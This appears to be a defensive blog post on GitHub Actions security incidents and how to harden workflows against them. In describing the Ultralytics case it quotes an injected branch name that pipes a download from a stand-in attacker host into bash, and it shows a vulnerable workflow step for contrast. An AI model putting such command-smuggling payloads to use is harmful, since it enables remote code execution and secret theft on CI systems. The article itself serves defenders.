אִם יִרְצֶה הַשֵּׁם
In March 2025, the tj-actions/changed-files action was compromised. The attacker didn't find a zero-day or break into GitHub. They repointed a tag. The YAML in 23,000 repositories didn't change. The @v45 reference looked exactly the same. But overnight, what those workflows actually executed became different code, code that dumped CI secrets to the logs.
Nobody noticed until it was already done.
That's what makes GitHub Actions a tempting target. Attacks hide in the assumptions you don't question: that a version tag stays pinned, that a workflow trigger is less dangerous than it sounds, that a branch name is just a string. Most of the incidents from the past year didn't exploit a bug in GitHub itself. They exploited the way developers normally write workflows.
Why This Keeps Happening
GitHub Actions is the default CI/CD system for most open source projects, which means workflows routinely hold npm publish tokens, cloud credentials, and signing keys. It was built for flexibility, and that flexibility created a large attack surface. Public security research has documented the common misconfigs. Automated scanners like prt-scan find repos with known-bad patterns at scale; no manual work required.
The defaults also don't help. The GITHUB_TOKEN ships with write permissions. Triggers like pull_request_target look similar to pull_request but behave completely differently. Nothing in the YAML syntax warns you when you're doing something dangerous.
What Actually Happened
tj-actions (2025). The action used by tens of thousands of repos was compromised by repointing the tag to a malicious commit. Every workflow pinned to @v45 silently ran different code. The fix is obvious in hindsight: pin to a full commit SHA, not a tag. Tags are mutable. SHAs are not. This is the same supply-chain attack class analyzed in fast16 as a Second-Order Subversion Attack: reach the target through a trusted ancillary system rather than directly.
Ultralytics. An attacker opened a pull request with a crafted branch name (something like $(curl attacker.com | bash)). The workflow interpolated ${{ github.head_ref }} directly into a shell command. The branch name executed as code. GitHub context values like branch names and PR titles are user-controlled strings. They're untrusted input, and the workflow treated them as trusted.
Trivy (March 2026). The project used pull_request_target as a workflow trigger. Unlike pull_request, this trigger runs with the permissions of the base repository, not the fork. That means any PR from an external contributor can trigger a workflow with access to repository secrets. An attacker used this to exfiltrate credentials.
Shai-Hulud. Self-hosted runners on public repos are a persistent problem. When anyone can open a PR against a public repo, anyone can trigger a workflow run. If that runner is long-lived and stateful, a compromised job leaves traces behind for the next job. In this case, attackers established a C2 channel through a persistent runner and maintained access across multiple workflow runs.
prt-scan. Not one incident but a pattern. Automated tooling scans public repositories for known workflow misconfigs: pull_request_target with write permissions, workflows that echo secrets, actions pinned to mutable tags. This is reconnaissance at scale. If your workflow has a known-bad pattern, it's probably already been found.
The Fixes
Each attack came down to one specific misconfiguration.
Pin actions to a full commit SHA
# Vulnerable — tag can be silently repointed uses: actions/checkout@v4 # Safe — commit SHA is immutable uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
This is the direct lesson from tj-actions. Tags are a convenience, not a guarantee. Use Dependabot, Renovate, or the pinact CLI to manage pinned SHAs so you don't have to track them by hand.
Apply the same logic to npm and PyPI dependencies. Floating version ranges like ^1.2.0 will pull the latest matching version, which could be a malicious publish. Use exact versions. Some package managers (pnpm, yarn) let you set a minimum package age, refusing anything published less than 72 hours ago. That gives the community time to catch malicious releases before you install them.
Treat github.* values as untrusted input
Branch names, PR titles, commit messages, and issue bodies are all user-controlled. Never interpolate them directly into a shell command.
# Vulnerable — branch name executes as shell code - run: echo "Branch is ${{ github.head_ref }}" # Safe — assign to env var first, reference the var - run: echo "Branch is $BRANCH" env: BRANCH: ${{ github.head_ref }}
The shell doesn't expand $BRANCH as a command. It treats it as a string. This one pattern blocks the entire class of injection attacks that hit Ultralytics.
The same rule applies to anything that acts on CI input: never write untrusted data to GITHUB_ENV or GITHUB_PATH, since those control environment variables and the PATH for subsequent steps.
Stop using pull_request_target in public repos
The Trivy incident was a direct consequence of this trigger. pull_request_target was designed for a specific use case: workflows that need write access to post comments or labels on PRs from forks. If you're not doing that, don't use it.
The same caution applies to workflow_run, issue_comment, issues, and pull_request_review. These triggers all execute with base repository permissions and can be activated by external contributors. If your workflow runs on these events and does anything sensitive, it needs to explicitly validate the source before proceeding.
Use GitHub-hosted or ephemeral runners for public repos
Self-hosted runners on public repos give external contributors a path to arbitrary code execution on your infrastructure. The problem isn't just one malicious job. Persistent runners carry state between jobs, so a compromised run can leave something behind for the next one.
If you need self-hosted runners, make them ephemeral: reset after every job, start clean every time. GitHub-hosted runners are ephemeral by default. Either way, restrict outbound network access; exfiltrating credentials requires talking to an external server.
Lock down GITHUB_TOKEN permissions
The default GITHUB_TOKEN has write access to the repository. Most workflows don't need that. Set the organization-wide default to read-only, then grant write permissions explicitly at the job level where it's actually needed.
permissions: contents: read pull-requests: write # only if this job needs it
This limits what an attacker can do if they manage to execute code inside your workflow.
Use OIDC for cloud credentials
If your workflow deploys to AWS, Azure, or GCP, you probably have a long-lived credential stored as a repository secret. That credential works indefinitely and can be reused from anywhere if it leaks.
OIDC-based authentication replaces this with short-lived tokens that GitHub requests on demand and that expire after the job finishes. There's nothing to steal that keeps working after the run. All three major cloud providers support GitHub Actions OIDC; for most deployment use cases, there's no reason to keep a static credential around.
The Underlying Pattern
None of these attacks required finding a bug in GitHub. They required a developer who trusted a tag, or who didn't read the fine print on pull_request_target, or who left a runner running between jobs. That's the same dynamic at work in Volt Typhoon as Operational Realization of the nth-Order Bleeding Thesis: attacks succeed by exploiting the assumptions built into how defenders work, not by breaking their tools directly.
The Shadow Admin article makes a related point about AI agents in cloud environments: no single authorized call does anything alarming, but the composition creates a security violation the permission model never anticipated. GitHub Actions misconfigs work the same way. pull_request_target is a legitimate trigger. External contributors opening PRs is expected behavior. The secret access is the part nobody thought through.
The misconfigs are known and the fixes take minutes. The only question is whether you apply them before prt-scan does it for you.
Motivating source